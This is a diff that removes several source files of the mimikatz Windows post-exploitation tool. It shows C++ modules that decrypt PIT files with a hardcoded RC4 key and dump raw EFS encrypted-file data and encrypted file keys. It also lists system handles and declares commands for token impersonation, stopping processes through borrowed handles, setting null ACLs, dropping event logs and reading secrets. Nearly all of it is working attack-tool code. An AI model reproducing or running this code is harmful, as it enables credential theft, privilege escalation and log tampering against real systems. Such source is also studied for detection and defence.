0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d,
|
||||
0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2,
|
||||
0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea,
|
||||
0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4,
|
||||
0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7,
|
||||
0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d,
|
||||
0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e
|
||||
};
|
||||
static const DWORD SUBKEY_SIZE = 16;
|
||||
static const BYTE HEADER_PIT[] = {'P', 'I', 'T'};
|
||||
|
||||
FILE * monFichierSource, * monFichierDestination;
|
||||
BYTE * monBuffer, * monBufferData;
|
||||
ULONG tailleFichierSource, tailleData;
|
||||
errno_t error;
|
||||
|
||||
if(arguments->size() < 1)
|
||||
{
|
||||
(*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : ";
|
||||
error = _wfopen_s(&monFichierSource, arguments->front().c_str(), L"rb");
|
||||
if(error == 0)
|
||||
{
|
||||
fseek(monFichierSource, 0, SEEK_END);
|
||||
tailleFichierSource = ftell(monFichierSource);
|
||||
monBuffer = new BYTE[tailleFichierSource];
|
||||
fseek(monFichierSource, 0, SEEK_SET);
|
||||
fread(monBuffer, tailleFichierSource, 1, monFichierSource);
|
||||
fclose(monFichierSource);
|
||||
|
||||
(*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : ";
|
||||
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4))
|
||||
{
|
||||
(*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : ";
|
||||
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4))
|
||||
{
|
||||
(*outputStream) << L"OK" << endl << L" * En-tête : ";
|
||||
if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0)
|
||||
{
|
||||
(*outputStream) << L"OK" << endl;
|
||||
monBufferData = monBuffer + sizeof(HEADER_PIT);
|
||||
tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE;
|
||||
|
||||
if(arguments->size() > 1)
|
||||
{
|
||||
(*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : ";
|
||||
error = _wfopen_s(&monFichierDestination, arguments->back().c_str(), L"wb");
|
||||
if(error == 0)
|
||||
{
|
||||
(*outputStream) << L"OK" << endl;
|
||||
fwrite(monBufferData, tailleData, 1, monFichierDestination);
|
||||
fclose(monFichierDestination);
|
||||
}
|
||||
else (*outputStream) << L"KO" << endl;
|
||||
}
|
||||
else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl;
|
||||
}
|
||||
else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl;
|
||||
}
|
||||
else (*outputStream) << L"KO";
|
||||
}
|
||||
else (*outputStream) << L"KO";
|
||||
delete [] monBuffer;
|
||||
}
|
||||
else (*outputStream) << L"KO" << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
@ -1,29 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_patch.h"
|
||||
#include "mod_secacl.h"
|
||||
#include "mod_text.h"
|
||||
#include "mod_crypto.h"
|
||||
#include <iostream>
|
||||
#include <wincred.h>
|
||||
|
||||
class mod_mimikatz_divers
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool cancelator(vector<wstring> * arguments);
|
||||
static bool noroutemon(vector<wstring> * arguments);
|
||||
static bool eventdrop(vector<wstring> * arguments);
|
||||
static bool secrets(vector<wstring> * arguments);
|
||||
static bool nodetour(vector<wstring> * arguments);
|
||||
static bool pitme(vector<wstring> * arguments);
|
||||
};
|
||||
|
||||
|
@ -1,297 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_efs.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut"));
|
||||
// monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::infos(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL;
|
||||
|
||||
if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
|
||||
{
|
||||
(*outputStream) << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl;
|
||||
printInfos(pHashes);
|
||||
FreeEncryptionCertificateHashList(pHashes);
|
||||
}
|
||||
else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
|
||||
{
|
||||
(*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl;
|
||||
printInfos(pHashes);
|
||||
FreeEncryptionCertificateHashList(pHashes);
|
||||
}
|
||||
else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::full(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
PVOID pvContext = NULL;
|
||||
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))};
|
||||
if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
PEFS_FEK Fek = NULL;
|
||||
PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL;
|
||||
for(
|
||||
PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW));
|
||||
reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements);
|
||||
monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment)
|
||||
)
|
||||
{
|
||||
|
||||
bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910);
|
||||
|
||||
(*outputStream) << endl <<
|
||||
L"Marshaled Stream :" << endl <<
|
||||
L" * Taille : " << monMarshaledStream->Length << endl <<
|
||||
L" * Flag : " << monMarshaledStream->Flag << endl <<
|
||||
L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl <<
|
||||
L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl <<
|
||||
endl;
|
||||
|
||||
for(
|
||||
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length);
|
||||
(reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052);
|
||||
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length)
|
||||
)
|
||||
|
||||
{
|
||||
(*outputStream) << L"DataSegment : " << endl;
|
||||
PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT);
|
||||
|
||||
if(isEFSMetaData)
|
||||
{
|
||||
(*outputStream) << L" EFS Metadata :" << endl;
|
||||
|
||||
PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData);
|
||||
(*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl;
|
||||
if(mesAttr->DDF_Offset)
|
||||
{
|
||||
(*outputStream) << L" * Utilisateur(s) déclaré(s) :" << endl;
|
||||
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek);
|
||||
}
|
||||
if(mesAttr->DRF_Offset)
|
||||
{
|
||||
(*outputStream) << L" * Agent(s) de recouvrement :" << endl;
|
||||
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L" DATA :" << endl;
|
||||
if(!monMarshaledStream->Flag)
|
||||
{
|
||||
(*outputStream) << L" DATA Segment Encryption Header :" << endl;
|
||||
PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData);
|
||||
(*outputStream) <<
|
||||
L" * Length : " << monSegEncHead->Length << endl <<
|
||||
L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl <<
|
||||
L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl <<
|
||||
L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl <<
|
||||
L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl <<
|
||||
L" * ChunkShift : " << monSegEncHead->ChunkShift << endl <<
|
||||
L" * ClusterShift : " << monSegEncHead->ClusterShift << endl <<
|
||||
L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl <<
|
||||
endl;
|
||||
|
||||
PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks));
|
||||
if(monExtHeader->EXTD_Number == 'DTXE')
|
||||
{
|
||||
(*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl;
|
||||
}
|
||||
|
||||
for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++)
|
||||
{
|
||||
(*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl;
|
||||
|
||||
PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length;
|
||||
(*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"TODO Data" << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
|
||||
free(sba.tableau);
|
||||
CloseEncryptedFileRaw(pvContext);
|
||||
}
|
||||
else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::toraw(vector<wstring> * arguments)
|
||||
{
|
||||
if(arguments->size() == 2)
|
||||
{
|
||||
PVOID pvContext = NULL;
|
||||
(*outputStream) << L"Ouverture de : " << arguments->front() << endl;
|
||||
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
(*outputStream) << L"Vers : " << arguments->back() << endl;
|
||||
HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
(*outputStream) << L" * Export OK" << endl;
|
||||
}
|
||||
else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
CloseHandle(hFile);
|
||||
CloseEncryptedFileRaw(pvContext);
|
||||
}
|
||||
else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList)
|
||||
{
|
||||
for(DWORD i = 0; i < hashList->nCert_Hash; i++)
|
||||
{
|
||||
wstring user;
|
||||
mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user);
|
||||
|
||||
(*outputStream) <<
|
||||
L" * Nom : " << user << endl <<
|
||||
L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl <<
|
||||
L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength)
|
||||
{
|
||||
if(ulLength)
|
||||
{
|
||||
PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext);
|
||||
sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength));
|
||||
if(sba->tableau)
|
||||
{
|
||||
RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength);
|
||||
sba->nbElements += ulLength;
|
||||
}
|
||||
else
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength)
|
||||
{
|
||||
if(ulLength)
|
||||
{
|
||||
(*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl;
|
||||
DWORD dwBytesWritten = 0;
|
||||
if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten))
|
||||
return ERROR_SUCCESS;
|
||||
return GetLastError();
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek)
|
||||
{
|
||||
*pFek = NULL;
|
||||
PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset);
|
||||
|
||||
PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead);
|
||||
DWORD previousSize = sizeof(PEFS_KEY_LIST);
|
||||
for(DWORD i = 0; i < monHead->Length; i++)
|
||||
{
|
||||
(*outputStream) << endl << L" Champ de données " << (i + 1) << L" :" << endl;
|
||||
monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize);
|
||||
|
||||
PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset);
|
||||
wstring user;
|
||||
if(monCredHeader->OwnerSID_offset)
|
||||
mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user);
|
||||
else user.assign(L"(null)");
|
||||
|
||||
(*outputStream) << L" * Utilisateur : " << user << endl;
|
||||
fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset);
|
||||
|
||||
PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset;
|
||||
(*outputStream) <<
|
||||
L" * Flags : " << monHeader->Flags << endl <<
|
||||
L" * FEK (chiffrée) : " << endl <<
|
||||
L" -> Taille : " << monHeader->Enc_FEK_Length << endl <<
|
||||
L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl <<
|
||||
endl;
|
||||
|
||||
/*HCRYPTPROV hCryptKeyProv;
|
||||
if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL ))
|
||||
{
|
||||
HCRYPTKEY maCle = NULL;
|
||||
if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle))
|
||||
{
|
||||
DWORD taille = monHeader->Enc_FEK_Length;
|
||||
if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) )
|
||||
{
|
||||
*pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK);
|
||||
(*outputStream) <<
|
||||
L" * FEK (clair) : " << endl <<
|
||||
L" -> Taille : " << (*pFek)->Key_Lenght << endl <<
|
||||
L" -> Algorithme : " << (*pFek)->Algorithm << endl <<
|
||||
L" -> Entropie : " << (*pFek)->Entropy << endl <<
|
||||
L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl <<
|
||||
endl;
|
||||
}
|
||||
else
|
||||
(*outputStream) << mod_system::getWinError() << endl;
|
||||
}
|
||||
CryptReleaseContext(hCryptKeyProv, 0);
|
||||
}*/
|
||||
|
||||
previousSize = monHeader->Length;
|
||||
}
|
||||
|
||||
return (*pFek != NULL);
|
||||
}
|
||||
|
||||
void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset)
|
||||
{
|
||||
PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset);
|
||||
|
||||
(*outputStream) << L" -> Nom affiché : ";
|
||||
if(monThCertificate->DisplayName_Offset)
|
||||
(*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset);
|
||||
(*outputStream) << endl;
|
||||
|
||||
(*outputStream) << L" -> Provider : ";
|
||||
if(monThCertificate->ProviderName_Offset)
|
||||
(*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset);
|
||||
(*outputStream) << endl;
|
||||
|
||||
(*outputStream) << L" -> Container : ";
|
||||
if(monThCertificate->ContainerName_Offset)
|
||||
(*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset);
|
||||
(*outputStream) << endl;
|
||||
|
||||
(*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl;
|
||||
}
|
@ -1,133 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <WinEFS.h>
|
||||
#include <iostream>
|
||||
#include "mod_text.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_secacl.h"
|
||||
#include "mod_crypto.h"
|
||||
|
||||
class mod_mimikatz_efs
|
||||
{
|
||||
private:
|
||||
// http://msdn.microsoft.com/library/cc230447.aspx
|
||||
typedef struct _EFS_RAW {
|
||||
DWORD Unknown0;
|
||||
DWORD ROBS0;
|
||||
DWORD ROBS1;
|
||||
BYTE Reserved[8];
|
||||
} EFS_RAW, *PEFS_RAW;
|
||||
|
||||
typedef struct _EFS_MARSHALED_STREAM {
|
||||
DWORD Length;
|
||||
DWORD NTFS0;
|
||||
DWORD NTFS1;
|
||||
DWORD Flag;
|
||||
BYTE Reserved[8];
|
||||
DWORD NameLenght;
|
||||
wchar_t StreamName[1];
|
||||
} EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM;
|
||||
|
||||
typedef struct _EFS_STREAM_DATA_SEGMENT {
|
||||
DWORD Length;
|
||||
DWORD GURE0;
|
||||
DWORD GURE1;
|
||||
DWORD Reserved;
|
||||
} EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT;
|
||||
|
||||
typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER {
|
||||
LONG64 StartingFile_Offset;
|
||||
DWORD Length;
|
||||
DWORD BytesWithinStreamSize;
|
||||
DWORD BytesWithinVDL;
|
||||
USHORT ReservedForAlignement0;
|
||||
BYTE DataUnitShift;
|
||||
BYTE ChunkShift;
|
||||
BYTE ClusterShift;
|
||||
BYTE ReservedForAlignement1;
|
||||
USHORT NumberOfDataBlocks;
|
||||
DWORD DataBlockSizes[1];
|
||||
} EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER;
|
||||
|
||||
typedef struct _EFS_EXTENDED_HEADER {
|
||||
DWORD EXTD_Number;
|
||||
DWORD Length;
|
||||
DWORD Flags;
|
||||
DWORD Reserved;
|
||||
} EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER;
|
||||
|
||||
typedef struct _EFS_METADATA_1 {
|
||||
DWORD Length;
|
||||
DWORD Reserved1;
|
||||
DWORD EFS_Version;
|
||||
DWORD Reserved2;
|
||||
BYTE EFS_ID[16];
|
||||
BYTE EFS_Hash[16];
|
||||
BYTE Reserved3[16];
|
||||
LONG DDF_Offset;
|
||||
LONG DRF_Offset;
|
||||
BYTE Reserved4[12];
|
||||
} EFS_METADATA_1, *PEFS_METADATA_1;
|
||||
|
||||
typedef struct _EFS_KEY_LIST {
|
||||
DWORD Length;
|
||||
} EFS_KEY_LIST, *PEFS_KEY_LIST;
|
||||
|
||||
typedef struct _EFS_KEY_LIST_ENTRY {
|
||||
DWORD Length;
|
||||
LONG PKI_Offset;
|
||||
DWORD Enc_FEK_Length;
|
||||
LONG Enc_FEK_Offset;
|
||||
DWORD Flags;
|
||||
} EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY;
|
||||
|
||||
typedef struct _EFS_PUBLIC_KEY_INFORMATION {
|
||||
DWORD Length;
|
||||
LONG OwnerSID_offset;
|
||||
DWORD Type;
|
||||
DWORD Certificate_Length;
|
||||
LONG Certificate_offset;
|
||||
} EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION;
|
||||
|
||||
typedef struct _EFS_CERTIFICATE_DATA {
|
||||
LONG CertificateThumbprint;
|
||||
DWORD CertificateThumbprint_Length;
|
||||
LONG ContainerName_Offset;
|
||||
LONG ProviderName_Offset;;
|
||||
LONG DisplayName_Offset;
|
||||
} EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA;
|
||||
|
||||
typedef struct _EFS_FEK {
|
||||
DWORD Key_Lenght;
|
||||
DWORD Entropy;
|
||||
ALG_ID Algorithm;
|
||||
DWORD Reserverd;
|
||||
BYTE Key[1];
|
||||
} EFSFEK, *PEFS_FEK;
|
||||
|
||||
typedef struct _SIMPLE_BYTE_ARRAY{
|
||||
SIZE_T nbElements;
|
||||
PBYTE tableau;
|
||||
} SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY;
|
||||
|
||||
static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
|
||||
static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
|
||||
static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList);
|
||||
|
||||
static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek);
|
||||
static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool infos(vector<wstring> * arguments);
|
||||
static bool full(vector<wstring> * arguments);
|
||||
static bool toraw(vector<wstring> * arguments);
|
||||
static bool fromraw(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -1,300 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_handle.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0);
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); ++monHandle)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0);
|
||||
bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0);
|
||||
|
||||
if(isToken || isProcess)
|
||||
{
|
||||
(*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" ";
|
||||
|
||||
if(isProcessList)
|
||||
{
|
||||
